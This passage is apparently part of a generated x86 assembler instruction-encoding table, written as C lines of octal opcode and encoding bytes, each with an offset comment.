/* 38110 */ 0321,02,017,033,0204,0,
/* 38116 */ 0324,02,017,033,0204,0,
/* 38122 */ 0320,02,017,033,0205,0,
/* 38128 */ 0321,02,017,033,0205,0,
/* 38134 */ 0324,02,017,033,0205,0,
/* 38140 */ 0320,02,017,033,0206,0,
/* 38146 */ 0321,02,017,033,0206,0,
/* 38152 */ 0324,02,017,033,0206,0,
/* 38158 */ 0320,02,017,033,0207,0,
/* 38164 */ 0321,02,017,033,0207,0,
/* 38170 */ 0324,02,017,033,0207,0,
/* 38176 */ 0320,02,017,034,0200,0,
/* 38182 */ 0321,02,017,034,0200,0,
/* 38188 */ 0324,02,017,034,0200,0,
/* 38194 */ 0320,02,017,034,0201,0,
/* 38200 */ 0321,02,017,034,0201,0,
/* 38206 */ 0324,02,017,034,0201,0,
/* 38212 */ 0320,02,017,034,0202,0,
/* 38218 */ 0321,02,017,034,0202,0,
/* 38224 */ 0324,02,017,034,0202,0,
/* 38230 */ 0320,02,017,034,0203,0,
/* 38236 */ 0321,02,017,034,0203,0,
/* 38242 */ 0324,02,017,034,0203,0,
/* 38248 */ 0320,02,017,034,0204,0,
/* 38254 */ 0321,02,017,034,0204,0,
/* 38260 */ 0324,02,017,034,0204,0,
/* 38266 */ 0320,02,017,034,0205,0,
/* 38272 */ 0321,02,017,034,0205,0,
/* 38278 */ 0324,02,017,034,0205,0,
/* 38284 */ 0320,02,017,034,0206,0,
/* 38290 */ 0321,02,017,034,0206,0,
/* 38296 */ 0324,02,017,034,0206,0,
/* 38302 */ 0320,02,017,034,0207,0,
/* 38308 */ 0321,02,017,034,0207,0,
/* 38314 */ 0324,02,017,034,0207,0,
/* 38320 */ 0320,02,017,035,0200,0,
/* 38326 */ 0321,02,017,035,0200,0,
/* 38332 */ 0324,02,017,035,0200,0,
/* 38338 */ 0320,02,017,035,0201,0,
/* 38344 */ 0321,02,017,035,0201,0,
/* 38350 */ 0324,02,017,035,0201,0,
/* 38356 */ 0320,02,017,035,0202,0,
/* 38362 */ 0321,02,017,035,0202,0,
/* 38368 */ 0324,02,017,035,0202,0,
/* 38374 */ 0320,02,017,035,0203,0,
/* 38380 */ 0321,02,017,035,0203,0,
/* 38386 */ 0324,02,017,035,0203,0,
/* 38392 */ 0320,02,017,035,0204,0,
/* 38398 */ 0321,02,017,035,0204,0,
/* 38404 */ 0324,02,017,035,0204,0,
/* 38410 */ 0320,02,017,035,0205,0,
/* 38416 */ 0321,02,017,035,0205,0,
/* 38422 */ 0324,02,017,035,0205,0,
/* 38428 */ 0320,02,017,035,0206,0,
/* 38434 */ 0321,02,017,035,0206,0,
/* 38440 */ 0324,02,017,035,0206,0,
/* 38446 */ 0320,02,017,035,0207,0,
/* 38452 */ 0321,02,017,035,0207,0,
/* 38458 */ 0324,02,017,035,0207,0,
/* 38464 */ 0320,02,017,036,0200,0,
/* 38470 */ 0321,02,017,036,0200,0,
/* 38476 */ 0324,02,017,036,0200,0,
/* 38482 */ 0320,02,017,036,0201,0,
/* 38488 */ 0321,02,017,036,0201,0,
/* 38494 */ 0324,02,017,036,0201,0,
/* 38500 */ 0320,02,017,036,0202,0,
/* 38506 */ 0321,02,017,036,0202,0,
/* 38512 */ 0324,02,017,036,0202,0,
/* 38518 */ 0320,02,017,036,0203,0,
/* 38524 */ 0321,02,017,036,0203,0,
/* 38530 */ 0324,02,017,036,0203,0,
/* 38536 */ 0320,02,017,036,0204,0,
/* 38542 */ 0321,02,017,036,0204,0,
/* 38548 */ 0324,02,017,036,0204,0,
/* 38554 */ 0320,02,017,036,0205,0,
/* 38560 */ 0321,02,017,036,0205,0,
/* 38566 */ 0324,02,017,036,0205,0,
/* 38572 */ 0320,02,017,036,0206,0,
/* 38578 */ 0321,02,017,036,0206,0,
/* 38584 */ 0324,02,017,036,0206,0,
/* 38590 */ 0320,02,017,036,0207,0,
/* 38596 */ 0321,02,017,036,0207,0,
/* 38602 */ 0324,02,017,036,0207,0,
/* 38608 */ 0320,02,017,037,0201,0,
/* 38614 */ 0321,02,017,037,0201,0,
/* 38620 */ 0324,02,017,037,0201,0,
/* 38626 */ 0320,02,017,037,0202,0,
/* 38632 */ 0321,02,017,037,0202,0,
/* 38638 */ 0324,02,017,037,0202,0,
/* 38644 */ 0320,02,017,037,0203,0,
/* 38650 */ 0321,02,017,037,0203,0,
/* 38656 */ 0324,02,017,037,0203,0,
/* 38662 */ 0320,02,017,037,0204,0,
/* 38668 */ 0321,02,017,037,0204,0,
/* 38674 */ 0324,02,017,037,0204,0,
/* 38680 */ 0320,02,017,037,0205,0,
/* 38686 */ 0321,02,017,037,0205,0,
/* 38692 */ 0324,02,017,037,0205,0,
/* 38698 */ 0320,02,017,037,0206,0,
/* 38704 */ 0321,02,017,037,0206,0,
/* 38710 */ 0324,02,017,037,0206,0,
/* 38716 */ 0320,02,017,037,0207,0,
/* 38722 */ 0321,02,017,037,0207,0,
/* 38728 */ 0324,02,017,037,0207,0,
/* 38734 */ 0273,01,020,0101,0,
/* 38739 */ 0320,01,023,0110,0,
/* 38744 */ 0321,01,023,0110,0,
/* 38749 */ 0324,01,023,0110,0,
/* 38754 */ 0320,01,025,031,0,
/* 38759 */ 0321,01,025,041,0,
/* 38764 */ 0324,01,025,0255,0,
/* 38769 */ 0273,01,0,0101,0,
/* 38774 */ 0320,01,03,0110,0,
/* 38779 */ 0321,01,03,0110,0,
/* 38784 */ 0324,01,03,0110,0,
/* 38789 */ 0320,01,05,031,0,
/* 38794 */ 0321,01,05,041,0,
/* 38799 */ 0324,01,05,0255,0,
/* 38804 */ 0273,01,040,0101,0,
/* 38809 */ 0320,01,043,0110,0,
/* 38814 */ 0321,01,043,0110,0,
/* 38819 */ 0324,01,043,0110,0,
/* 38824 */ 0320,01,045,031,0,
/* 38829 */ 0321,01,045,041,0,
/* 38834 */ 0324,01,045,0255,0,
/* 38839 */ 0320,01,0142,0110,0,
/* 38844 */ 0321,01,0142,0110,0,
/* 38849 */ 0322,01,0350,064,0,
/* 38854 */ 0320,01,0350,064,0,
/* 38859 */ 0321,01,0350,064,0,
/* 38864 */ 0323,01,0350,064,0,
/* 38869 */ 0322,01,0377,0203,0,
/* 38874 */ 0324,01,0377,0203,0,
/* 38879 */ 0320,01,0377,0203,0,
/* 38884 */ 0321,01,0377,0203,0,
/* 38889 */ 0322,01,0377,0202,0,
/* 38894 */ 0320,01,0377,0202,0,
/* 38899 */ 0321,01,0377,0202,0,
/* 38904 */ 0323,01,0377,0202,0,
/* 38909 */ 0320,01,071,0101,0,
/* 38914 */ 0321,01,071,0101,0,
/* 38919 */ 0324,01,071,0101,0,
/* 38924 */ 0320,01,073,0110,0,
/* 38929 */ 0321,01,073,0110,0,
/* 38934 */ 0324,01,073,0110,0,
/* 38939 */ 0320,01,075,031,0,
/* 38944 */ 0321,01,075,041,0,
/* 38949 */ 0324,01,075,0255,0,
/* 38954 */ 01,0200,0207,021,0,
/* 38959 */ 01,0202,0207,021,0,
/* 38964 */ 0335,0321,01,0247,0,
/* 38969 */ 0335,0324,01,0247,0,
/* 38974 */ 0335,0320,01,0247,0,
/* 38979 */ 02,017,0246,0101,0,
/* 38984 */ 0273,01,0376,0201,0,
/* 38989 */ 0320,01,0367,0206,0,
/* 38994 */ 0321,01,0367,0206,0,
/* 38999 */ 0324,01,0367,0206,0,
/* 39004 */ 01,0310,030,025,0,
/* 39009 */ 01,0334,010,0300,0,
/* 39014 */ 01,0330,010,0300,0,
/* 39019 */ 01,0330,011,0300,0,
/* 39024 */ 01,0336,010,0300,0,
/* 39029 */ 0341,02,0333,0342,0,
/* 39034 */ 01,0332,010,0300,0,
/* 39039 */ 01,0332,011,0300,0,
/* 39044 */ 01,0332,010,0320,0,
/* 39049 */ 01,0332,011,0320,0,
/* 39054 */ 01,0332,010,0310,0,
/* 39059 */ 01,0332,011,0310,0,
/* 39064 */ 01,0333,010,0300,0,
/* 39069 */ 01,0333,011,0300,0,
/* 39074 */ 01,0333,010,0320,0,
/* 39079 */ 01,0333,011,0320,0,
/* 39084 */ 01,0333,010,0310,0,
/* 39089 */ 01,0333,011,0310,0,
/* 39094 */ 01,0333,010,0330,0,
/* 39099 */ 01,0333,011,0330,0,
/* 39104 */ 01,0332,010,0330,0,
/* 39109 */ 01,0332,011,0330,0,
/* 39114 */ 01,0330,010,0320,0,
/* 39119 */ 01,0330,011,0320,0,
/* 39124 */ 01,0333,010,0360,0,
/* 39129 */ 01,0333,011,0360,0,
/* 39134 */ 01,0337,010,0360,0,
/* 39139 */ 01,0337,011,0360,0,
/* 39144 */ 01,0330,010,0330,0,
/* 39149 */ 01,0330,011,0330,0,
/* 39154 */ 0341,02,0333,0341,0,
/* 39159 */ 01,0334,010,0370,0,
/* 39164 */ 01,0330,010,0360,0,
/* 39169 */ 01,0330,011,0360,0,
/* 39174 */ 01,0336,010,0370,0,
/* 39179 */ 01,0334,010,0360,0,
/* 39184 */ 01,0330,010,0370,0,
/* 39189 */ 01,0330,011,0370,0,
/* 39194 */ 01,0336,010,0360,0,
/* 39199 */ 0341,02,0333,0340,0,
/* 39204 */ 01,0335,010,0300,0,
/* 39209 */ 01,0337,010,0300,0,
/* 39214 */ 0341,02,0333,0343,0,
/* 39219 */ 01,0331,010,0300,0,
/* 39224 */ 01,0334,010,0310,0,
/* 39229 */ 01,0330,010,0310,0,
/* 39234 */ 01,0330,011,0310,0,
/* 39239 */ 01,0336,010,0310,0,
/* 39244 */ 0341,01,0335,0206,0,
/* 39249 */ 01,0335,010,0320,0,
/* 39254 */ 0341,01,0331,0207,0,
/* 39259 */ 0341,01,0331,0206,0,
/* 39264 */ 01,0335,010,0330,0,
/* 39269 */ 0341,01,0335,0207,0,
/* 39274 */ 0341,02,0337,0340,0,
/* 39279 */ 01,0334,010,0350,0,
/* 39284 */ 01,0330,010,0340,0,
/* 39289 */ 01,0330,011,0340,0,
/* 39294 */ 01,0336,010,0350,0,
/* 39299 */ 01,0334,010,0340,0,
/* 39304 */ 01,0330,010,0350,0,
/* 39309 */ 01,0330,011,0350,0,
/* 39314 */ 01,0336,010,0340,0,
/* 39319 */ 01,0335,010,0340,0,
/* 39324 */ 01,0335,011,0340,0,
/* 39329 */ 01,0333,010,0350,0,
/* 39334 */ 01,0333,011,0350,0,
/* 39339 */ 01,0337,010,0350,0,
/* 39344 */ 01,0337,011,0350,0,
/* 39349 */ 01,0335,010,0350,0,
/* 39354 */ 01,0335,011,0350,0,
/* 39359 */ 01,0331,010,0310,0,
/* 39364 */ 01,0331,011,0310,0,
/* 39369 */ 0320,01,0367,0207,0,
/* 39374 */ 0321,01,0367,0207,0,
/* 39379 */ 0324,01,0367,0207,0,
/* 39384 */ 0320,01,0367,0205,0,
/* 39389 */ 0321,01,0367,0205,0,
/* 39394 */ 0324,01,0367,0205,0,
/* 39399 */ 0320,01,0345,025,0,
/* 39404 */ 0321,01,0345,025,0,
/* 39409 */ 0273,01,0376,0200,0,
/* 39414 */ 02,017,01,0207,0,
/* 39419 */ 0310,01,0343,050,0,
/* 39424 */ 0311,01,0343,050,0,
/* 39429 */ 0313,01,0343,050,0,
/* 39434 */ 0371,01,0353,050,0,
/* 39439 */ 0322,01,0351,064,0,
/* 39444 */ 0320,01,0351,064,0,
/* 39449 */ 0321,01,0351,064,0,
/* 39454 */ 0323,01,0351,064,0,
/* 39459 */ 0322,01,0377,0205,0,
/* 39464 */ 0324,01,0377,0205,0,
/* 39469 */ 0320,01,0377,0205,0,
/* 39474 */ 0321,01,0377,0205,0,
/* 39479 */ 0322,01,0377,0204,0,
/* 39484 */ 0320,01,0377,0204,0,
/* 39489 */ 0321,01,0377,0204,0,
/* 39494 */ 0323,01,0377,0204,0,
/* 39499 */ 0320,01,0305,0110,0,
/* 39504 */ 0321,01,0305,0110,0,
/* 39509 */ 0320,01,0215,0110,0,
/* 39514 */ 0321,01,0215,0110,0,
/* 39519 */ 0324,01,0215,0110,0,
/* 39524 */ 0320,01,0304,0110,0,
/* 39529 */ 0321,01,0304,0110,0,
/* 39534 */ 02,017,01,0202,0,
/* 39539 */ 02,017,01,0203,0,
/* 39544 */ 02,017,0,0202,0,
/* 39549 */ 02,017,01,0206,0,
/* 39554 */ 0312,01,0342,050,0,
/* 39559 */ 0310,01,0342,050,0,
/* 39564 */ 0311,01,0342,050,0,
/* 39569 */ 0313,01,0342,050,0,
/* 39574 */ 0312,01,0341,050,0,
/* 39579 */ 0310,01,0341,050,0,
/* 39584 */ 0311,01,0341,050,0,
/* 39589 */ 0313,01,0341,050,0,
/* 39594 */ 0312,01,0340,050,0,
/* 39599 */ 0310,01,0340,050,0,
/* 39604 */ 0311,01,0340,050,0,
/* 39609 */ 0313,01,0340,050,0,
/* 39614 */ 02,017,0,0203,0,
/* 39619 */ 03,017,01,0310,0,
/* 39624 */ 03,017,01,0372,0,
/* 39629 */ 0320,01,0214,0101,0,
/* 39634 */ 0321,01,0214,0101,0,
/* 39639 */ 0323,01,0214,0101,0,
/* 39644 */ 0324,01,0214,0101,0,
/* 39649 */ 0323,01,0216,0110,0,
/* 39654 */ 0320,01,0216,0110,0,
/* 39659 */ 0321,01,0216,0110,0,
/* 39664 */ 0324,01,0216,0110,0,
/* 39669 */ 0320,01,0241,045,0,
/* 39674 */ 0321,01,0241,045,0,
/* 39679 */ 0324,01,0241,045,0,
/* 39684 */ 0320,01,0243,044,0,
/* 39689 */ 0321,01,0243,044,0,
/* 39694 */ 0324,01,0243,044,0,
/* 39699 */ 02,017,044,0101,0,
/* 39704 */ 02,017,046,0110,0,
/* 39709 */ 0271,01,0210,0101,0,
/* 39714 */ 0320,01,0213,0110,0,
/* 39719 */ 0321,01,0213,0110,0,
/* 39724 */ 0324,01,0213,0110,0,
/* 39729 */ 0320,010,0270,031,0,
/* 39734 */ 0321,010,0270,041,0,
/* 39739 */ 0323,010,0270,041,0,
/* 39744 */ 0324,010,0270,055,0,
/* 39749 */ 0324,01,0143,0110,0,
/* 39754 */ 0320,01,0367,0204,0,
/* 39759 */ 0321,01,0367,0204,0,
/* 39764 */ 0324,01,0367,0204,0,
/* 39769 */ 03,017,01,0311,0,
/* 39774 */ 03,017,01,0373,0,
/* 39779 */ 0273,01,0366,0203,0,
/* 39784 */ 0314,0326,01,0220,0,
/* 39789 */ 0273,01,0366,0202,0,
/* 39794 */ 0273,01,010,0101,0,
/* 39799 */ 0320,01,013,0110,0,
/* 39804 */ 0321,01,013,0110,0,
/* 39809 */ 0324,01,013,0110,0,
/* 39814 */ 0320,01,015,031,0,
/* 39819 */ 0321,01,015,041,0,
/* 39824 */ 0324,01,015,0255,0,
/* 39829 */ 0320,01,0347,024,0,
/* 39834 */ 0321,01,0347,024,0,
/* 39839 */ 0320,01,0217,0200,0,
/* 39844 */ 0321,01,0217,0200,0,
/* 39849 */ 0323,01,0217,0200,0,
/* 39854 */ 02,017,015,0200,0,
/* 39859 */ 02,017,015,0201,0,
/* 39864 */ 0320,01,0377,0206,0,
/* 39869 */ 0321,01,0377,0206,0,
/* 39874 */ 0323,01,0377,0206,0,
/* 39879 */ 0320,01,0152,0274,0,
/* 39884 */ 0320,01,0150,030,0,
/* 39889 */ 0321,01,0152,0274,0,
/* 39894 */ 0321,01,0150,040,0,
/* 39899 */ 0323,01,0152,0274,0,
/* 39904 */ 0323,01,0150,0254,0,
/* 39909 */ 01,0300,0202,025,0,
/* 39914 */ 0320,01,0321,0202,0,
/* 39919 */ 0320,01,0323,0202,0,
/* 39924 */ 0321,01,0321,0202,0,
/* 39929 */ 0321,01,0323,0202,0,
/* 39934 */ 0324,01,0321,0202,0,
/* 39939 */ 0324,01,0323,0202,0,
/* 39944 */ 01,0300,0203,025,0,
/* 39949 */ 0320,01,0321,0203,0,
/* 39954 */ 0320,01,0323,0203,0,
/* 39959 */ 0321,01,0321,0203,0,
/* 39964 */ 0321,01,0323,0203,0,
/* 39969 */ 0324,01,0321,0203,0,
/* 39974 */ 0324,01,0323,0203,0,
/* 39979 */ 03,017,01,0371,0,
/* 39984 */ 0320,01,0312,030,0,
/* 39989 */ 0320,01,0302,030,0,
/* 39994 */ 0321,01,0302,030,0,
/* 39999 */ 0321,01,0312,030,0,
/* 40004 */ 0323,01,0302,030,0,
/* 40009 */ 0324,01,0312,030,0,
/* 40014 */ 01,0300,0200,025,0,
/* 40019 */ 0320,01,0321,0200,0,
/* 40024 */ 0320,01,0323,0200,0,
/* 40029 */ 0321,01,0321,0200,0,
/* 40034 */ 0321,01,0323,0200,0,
/* 40039 */ 0324,01,0321,0200,0,
/* 40044 */ 0324,01,0323,0200,0,
/* 40049 */ 01,0300,0201,025,0,
/* 40054 */ 0320,01,0321,0201,0,
/* 40059 */ 0320,01,0323,0201,0,
/* 40064 */ 0321,01,0321,0201,0,
/* 40069 */ 0321,01,0323,0201,0,
/* 40074 */ 0324,01,0321,0201,0,
/* 40079 */ 0324,01,0323,0201,0,
/* 40084 */ 02,017,0173,0200,0,
/* 40089 */ 02,017,0175,0200,0,
/* 40094 */ 01,0300,0204,025,0,
/* 40099 */ 0320,01,0321,0204,0,
/* 40104 */ 0320,01,0323,0204,0,
/* 40109 */ 0321,01,0321,0204,0,
/* 40114 */ 0321,01,0323,0204,0,
/* 40119 */ 0324,01,0321,0204,0,
/* 40124 */ 0324,01,0323,0204,0,
/* 40129 */ 01,0300,0207,025,0,
/* 40134 */ 0320,01,0321,0207,0,
/* 40139 */ 0320,01,0323,0207,0,
/* 40144 */ 0321,01,0321,0207,0,
/* 40149 */ 0321,01,0323,0207,0,
/* 40154 */ 0324,01,0321,0207,0,
/* 40159 */ 0324,01,0323,0207,0,
/* 40164 */ 0273,01,030,0101,0,
/* 40169 */ 0320,01,033,0110,0,
/* 40174 */ 0321,01,033,0110,0,
/* 40179 */ 0324,01,033,0110,0,
/* 40184 */ 0320,01,035,031,0,
/* 40189 */ 0321,01,035,041,0,
/* 40194 */ 0324,01,035,0255,0,
/* 40199 */ 0335,0321,01,0257,0,
/* 40204 */ 0335,0324,01,0257,0,
/* 40209 */ 0335,0320,01,0257,0,
/* 40214 */ 02,017,01,0200,0,
/* 40219 */ 01,0300,0205,025,0,
/* 40224 */ 0320,01,0321,0205,0,
/* 40229 */ 0320,01,0323,0205,0,
/* 40234 */ 0321,01,0321,0205,0,
/* 40239 */ 0321,01,0323,0205,0,
/* 40244 */ 0324,01,0321,0205,0,
/* 40249 */ 0324,01,0323,0205,0,
/* 40254 */ 02,017,01,0201,0,
/* 40259 */ 03,017,01,0336,0,
/* 40264 */ 0273,01,050,0101,0,
/* 40269 */ 0320,01,053,0110,0,
/* 40274 */ 0321,01,053,0110,0,
/* 40279 */ 0324,01,053,0110,0,
/* 40284 */ 0320,01,055,031,0,
/* 40289 */ 0321,01,055,041,0,
/* 40294 */ 0324,01,055,0255,0,
/* 40299 */ 02,017,0172,0200,0,
/* 40304 */ 02,017,0174,0200,0,
/* 40309 */ 03,017,01,0370,0,
/* 40314 */ 0320,01,0205,0101,0,
/* 40319 */ 0321,01,0205,0101,0,
/* 40324 */ 0324,01,0205,0101,0,
/* 40329 */ 0320,01,0205,0110,0,
/* 40334 */ 0321,01,0205,0110,0,
/* 40339 */ 0324,01,0205,0110,0,
/* 40344 */ 0320,01,0251,031,0,
/* 40349 */ 0321,01,0251,041,0,
/* 40354 */ 0324,01,0251,0255,0,
/* 40359 */ 01,0366,0200,021,0,
/* 40364 */ 02,017,0,0204,0,
/* 40369 */ 02,017,0,0205,0,
/* 40374 */ 0272,01,0206,0110,0,
/* 40379 */ 0272,01,0206,0101,0,
/* 40384 */ 0273,01,060,0101,0,
/* 40389 */ 0320,01,063,0110,0,
/* 40394 */ 0321,01,063,0110,0,
/* 40399 */ 0324,01,063,0110,0,
/* 40404 */ 0320,01,065,031,0,
/* 40409 */ 0321,01,065,041,0,
/* 40414 */ 0324,01,065,0255,0,
/* 40419 */ 0370,0330,0160,050,0,
/* 40424 */ 03,017,01,0320,0,
/* 40429 */ 03,017,01,0321,0,
/* 40434 */ 03,017,01,0335,0,
/* 40439 */ 03,017,01,0334,0,
/* 40444 */ 03,017,01,0301,0,
/* 40449 */ 03,017,01,0324,0,
/* 40454 */ 03,017,01,0302,0,
/* 40459 */ 03,017,01,0332,0,
/* 40464 */ 03,017,01,0331,0,
/* 40469 */ 03,017,01,0303,0,
/* 40474 */ 03,017,01,0330,0,
/* 40479 */ 03,017,01,0333,0,
/* 40484 */ 03,017,01,0304,0,
/* 40489 */ 03,017,01,0312,0,
/* 40494 */ 03,017,01,0313,0,
/* 40499 */ 03,017,0247,0300,0,
/* 40504 */ 02,0306,0370,020,0,
/* 40509 */ 03,017,01,0325,0,
/* 40514 */ 03,017,01,0326,0,
/* 40519 */ 02,017,015,0202,0,
/* 40524 */ 03,017,01,0356,0,
/* 40529 */ 03,017,01,0357,0,
/* 40534 */ 0333,02,017,011,0,
/* 40539 */ 02,0325,012,0,
/* 40543 */ 01,0325,024,0,
/* 40547 */ 02,0324,012,0,
/* 40551 */ 01,0324,024,0,
/* 40555 */ 01,024,021,0,
/* 40559 */ 01,04,021,0,
/* 40563 */ 01,044,021,0,
/* 40567 */ 02,017,072,0,
/* 40571 */ 02,017,073,0,
/* 40575 */ 0320,01,0230,0,
/* 40579 */ 0321,01,0231,0,
/* 40583 */ 0324,01,0230,0,
/* 40587 */ 02,017,06,0,
/* 40591 */ 01,070,0101,0,
/* 40595 */ 01,074,021,0,
/* 40599 */ 0335,01,0246,0,
/* 40603 */ 02,017,0242,0,
/* 40607 */ 02,017,075,0,
/* 40611 */ 02,017,074,0,
/* 40615 */ 0324,01,0231,0,
/* 40619 */ 0320,01,0231,0,
/* 40623 */ 0321,01,0230,0,
/* 40627 */ 0320,010,0110,0,
/* 40631 */ 0321,010,0110,0,
/* 40635 */ 01,0366,0206,0,
/* 40639 */ 02,017,071,0,
/* 40643 */ 02,017,0167,0,
/* 40647 */ 02,0331,0360,0,
/* 40651 */ 02,0331,0341,0,
/* 40655 */ 01,0330,0200,0,
/* 40659 */ 01,0334,0200,0,
/* 40663 */ 02,0336,0301,0,
/* 40667 */ 01,0337,0204,0,
/* 40671 */ 01,0337,0206,0,
/* 40675 */ 02,0331,0340,0,
/* 40679 */ 02,0332,0301,0,
/* 40683 */ 02,0332,0321,0,
/* 40687 */ 02,0332,0311,0,
/* 40691 */ 02,0333,0301,0,
/* 40695 */ 02,0333,0321,0,
/* 40699 */ 02,0333,0311,0,
/* 40703 */ 02,0333,0331,0,
/* 40707 */ 02,0332,0331,0,
/* 40711 */ 01,0330,0202,0,
/* 40715 */ 01,0334,0202,0,
/* 40719 */ 02,0330,0321,0,
/* 40723 */ 02,0333,0361,0,
/* 40727 */ 02,0337,0361,0,
/* 40731 */ 01,0330,0203,0,
/* 40735 */ 01,0334,0203,0,
/* 40739 */ 02,0330,0331,0,
/* 40743 */ 02,0336,0331,0,
/* 40747 */ 02,0331,0377,0,
/* 40751 */ 02,0331,0366,0,
/* 40755 */ 01,0330,0206,0,
/* 40759 */ 01,0334,0206,0,
/* 40763 */ 02,0336,0371,0,
/* 40767 */ 01,0330,0207,0,
/* 40771 */ 01,0334,0207,0,
/* 40775 */ 02,0336,0361,0,
/* 40779 */ 02,017,016,0,
/* 40783 */ 02,0335,0301,0,
/* 40787 */ 02,0337,0301,0,
/* 40791 */ 01,0332,0200,0,
/* 40795 */ 01,0336,0200,0,
/* 40799 */ 01,0332,0202,0,
/* 40803 */ 01,0336,0202,0,
/* 40807 */ 01,0332,0203,0,
/* 40811 */ 01,0336,0203,0,
/* 40815 */ 01,0332,0206,0,
/* 40819 */ 01,0336,0206,0,
/* 40823 */ 01,0332,0207,0,
/* 40827 */ 01,0336,0207,0,
/* 40831 */ 01,0333,0200,0,
/* 40835 */ 01,0337,0200,0,
/* 40839 */ 01,0337,0205,0,
/* 40843 */ 01,0332,0201,0,
/* 40847 */ 01,0336,0201,0,
/* 40851 */ 02,0331,0367,0,
/* 40855 */ 01,0333,0202,0,
/* 40859 */ 01,0337,0202,0,
/* 40863 */ 01,0333,0203,0,
/* 40867 */ 01,0337,0203,0,
/* 40871 */ 01,0337,0207,0,
/* 40875 */ 01,0337,0201,0,
/* 40879 */ 01,0333,0201,0,
/* 40883 */ 01,0335,0201,0,
/* 40887 */ 01,0332,0204,0,
/* 40891 */ 01,0336,0204,0,
/* 40895 */ 01,0332,0205,0,
/* 40899 */ 01,0336,0205,0,
/* 40903 */ 01,0331,0200,0,
/* 40907 */ 01,0335,0200,0,
/* 40911 */ 01,0333,0205,0,
/* 40915 */ 02,0331,0301,0,
/* 40919 */ 02,0331,0350,0,
/* 40923 */ 01,0331,0205,0,
/* 40927 */ 01,0331,0204,0,
/* 40931 */ 02,0331,0352,0,
/* 40935 */ 02,0331,0351,0,
/* 40939 */ 02,0331,0354,0,
/* 40943 */ 02,0331,0355,0,
/* 40947 */ 02,0331,0353,0,
/* 40951 */ 02,0331,0356,0,
/* 40955 */ 01,0330,0201,0,
/* 40959 */ 01,0334,0201,0,
/* 40963 */ 02,0336,0311,0,
/* 40967 */ 02,0331,0320,0,
/* 40971 */ 02,0331,0363,0,
/* 40975 */ 02,0331,0370,0,
/* 40979 */ 02,0331,0365,0,
/* 40983 */ 02,0331,0362,0,
/* 40987 */ 02,0331,0374,0,
/* 40991 */ 01,0335,0204,0,
/* 40995 */ 02,0331,0375,0,
/* 40999 */ 02,0333,0344,0,
/* 41003 */ 02,0331,0376,0,
/* 41007 */ 02,0331,0373,0,
/* 41011 */ 02,0331,0372,0,
/* 41015 */ 01,0331,0202,0,
/* 41019 */ 01,0335,0202,0,
/* 41023 */ 02,0335,0321,0,
/* 41027 */ 01,0331,0203,0,
/* 41031 */ 01,0335,0203,0,
/* 41035 */ 01,0333,0207,0,
/* 41039 */ 02,0335,0331,0,
/* 41043 */ 01,0330,0204,0,
/* 41047 */ 01,0334,0204,0,
/* 41051 */ 02,0336,0351,0,
/* 41055 */ 01,0330,0205,0,
/* 41059 */ 01,0334,0205,0,
/* 41063 */ 02,0336,0341,0,
/* 41067 */ 02,0331,0344,0,
/* 41071 */ 02,0335,0341,0,
/* 41075 */ 02,0333,0351,0,
/* 41079 */ 02,0337,0351,0,
/* 41083 */ 02,0335,0351,0,
/* 41087 */ 02,0332,0351,0,
/* 41091 */ 02,0331,0345,0,
/* 41095 */ 02,0331,0311,0,
/* 41099 */ 02,0331,0364,0,
/* 41103 */ 02,0331,0361,0,
/* 41107 */ 02,0331,0371,0,
/* 41111 */ 01,0366,0207,0,
/* 41115 */ 01,0366,0205,0,
/* 41119 */ 01,0344,025,0,
/* 41123 */ 0320,01,0355,0,
/* 41127 */ 0321,01,0355,0,
/* 41131 */ 0320,010,0100,0,
/* 41135 */ 0321,010,0100,0,
/* 41139 */ 0321,01,0155,0,
/* 41143 */ 0320,01,0155,0,
/* 41147 */ 01,0315,024,0,
/* 41151 */ 02,017,010,0,
/* 41155 */ 0322,01,0317,0,
/* 41159 */ 0321,01,0317,0,
/* 41163 */ 0324,01,0317,0,
/* 41167 */ 0320,01,0317,0,
/* 41171 */ 02,017,07,0,
/* 41175 */ 02,017,05,0,
/* 41179 */ 0321,01,0255,0,
/* 41183 */ 0324,01,0255,0,
/* 41187 */ 0320,01,0255,0,
/* 41191 */ 01,0240,045,0,
/* 41195 */ 01,0242,044,0,
/* 41199 */ 01,0212,0110,0,
/* 41203 */ 010,0260,021,0,
/* 41207 */ 0321,01,0245,0,
/* 41211 */ 0324,01,0245,0,
/* 41215 */ 0320,01,0245,0,
/* 41219 */ 01,0366,0204,0,
/* 41223 */ 01,014,021,0,
/* 41227 */ 01,0346,024,0,
/* 41231 */ 0320,01,0357,0,
/* 41235 */ 0321,01,0357,0,
/* 41239 */ 0321,01,0157,0,
/* 41243 */ 0320,01,0157,0,
/* 41247 */ 0333,01,0220,0,
/* 41251 */ 0320,010,0130,0,
/* 41255 */ 0321,010,0130,0,
/* 41259 */ 0323,010,0130,0,
/* 41263 */ 02,017,0241,0,
/* 41267 */ 02,017,0251,0,
/* 41271 */ 0322,01,0141,0,
/* 41275 */ 0321,01,0141,0,
/* 41279 */ 0320,01,0141,0,
/* 41283 */ 0322,01,0235,0,
/* 41287 */ 0321,01,0235,0,
/* 41291 */ 0320,01,0235,0,
/* 41295 */ 0320,010,0120,0,
/* 41299 */ 0321,010,0120,0,
/* 41303 */ 0323,010,0120,0,
/* 41307 */ 02,017,0240,0,
/* 41311 */ 02,017,0250,0,
/* 41315 */ 0322,01,0140,0,
/* 41319 */ 0321,01,0140,0,
/* 41323 */ 0320,01,0140,0,
/* 41327 */ 0322,01,0234,0,
/* 41331 */ 0321,01,0234,0,
/* 41335 */ 0320,01,0234,0,
/* 41339 */ 01,0320,0202,0,
/* 41343 */ 01,0322,0202,0,
/* 41347 */ 01,0320,0203,0,
/* 41351 */ 01,0322,0203,0,
/* 41355 */ 02,017,062,0,
/* 41359 */ 02,017,063,0,
/* 41363 */ 02,017,061,0,
/* 41367 */ 0320,01,0303,0,
/* 41371 */ 0320,01,0313,0,
/* 41375 */ 0321,01,0303,0,
/* 41379 */ 0321,01,0313,0,
/* 41383 */ 0323,01,0303,0,
/* 41387 */ 0324,01,0313,0,
/* 41391 */ 01,0320,0200,0,
/* 41395 */ 01,0322,0200,0,
/* 41399 */ 01,0320,0201,0,
/* 41403 */ 01,0322,0201,0,
/* 41407 */ 02,017,0252,0,
/* 41411 */ 01,0320,0204,0,
/* 41415 */ 01,0322,0204,0,
/* 41419 */ 01,0320,0207,0,
/* 41423 */ 01,0322,0207,0,
/* 41427 */ 01,034,021,0,
/* 41431 */ 0335,01,0256,0,
/* 41435 */ 01,0320,0205,0,
/* 41439 */ 01,0322,0205,0,
/* 41443 */ 02,017,070,0,
